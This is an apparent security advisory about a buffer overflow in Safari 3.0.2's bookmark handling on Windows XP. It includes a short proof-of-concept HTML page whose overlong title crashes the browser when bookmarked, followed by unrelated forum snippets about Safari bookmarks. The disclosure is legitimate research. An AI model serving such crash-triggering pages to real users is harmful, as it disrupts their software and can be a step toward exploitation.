Safari Bookmarks Buffer Overflow Vulnerability



Safari 3.0.2 (522.13.1) OS Windows XP SP2

At processing title field, which consists more than 1024 bytes at addition in a bookmark there is a buffer overflow.

<html>
<head> <title>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</title>
</head>
<body>
Safari Bookmarks Overflow Bug in title buffer > 1024<br>
Press Ctrl+D (Add Bookmark...) and press (Add)
</body>
</html>

Found by E.Azizov (azizov@xxxxxxxxxxxx)
http://ITDefence.ru



Relevant Pages

  • Re: hyperlinks to bookmarks on a page
    ... It seems to fail for me too in Safari 5 Public Beta ... On the Related Links page it goes to the bookmark below the one called ... The PDFs work, once the color in textbox was fixed, but I will move ... into the index_files folder within a folder called 'pdfs' as per this ...
    (microsoft.public.publisher.webdesign)
  • Re: hyperlinks to bookmarks on a page
    ... It seems to fail for me too in Safari 5 Public Beta ... On the Related Links page it goes to the bookmark below the one called ... The PDFs work, once the color in textbox was fixed, but I will move ... into the index_files folder within a folder called 'pdfs' as per ...
    (microsoft.public.publisher.webdesign)
  • Re: hyperlinks to bookmarks on a page
    ... It seems to fail for me too in Safari 5 Public Beta ... rather than the bookmark down the page. ... The PDFs work, once the color in textbox was fixed, but I will move them ... into the index_files folder within a folder called 'pdfs' as per this ...
    (microsoft.public.publisher.webdesign)
  • Re: hyperlinks to bookmarks on a page
    ... It seems to fail for me too in Safari 5 Public Beta ... On the Related Links page it goes to the bookmark below the one called ... The PDFs work, once the color in textbox was fixed, but I will move ... into the index_files folder within a folder called 'pdfs' as per this ...
    (microsoft.public.publisher.webdesign)
  • Re: Moving Bookmark Folders In Safari Collections
    ... Is this the newsgroup for Safari? ... I have a very long list of Bookmark Folders in my Bookmarks Collection. ... Well it is not really a Safari newsgroup. ...
    (microsoft.public.mac.office)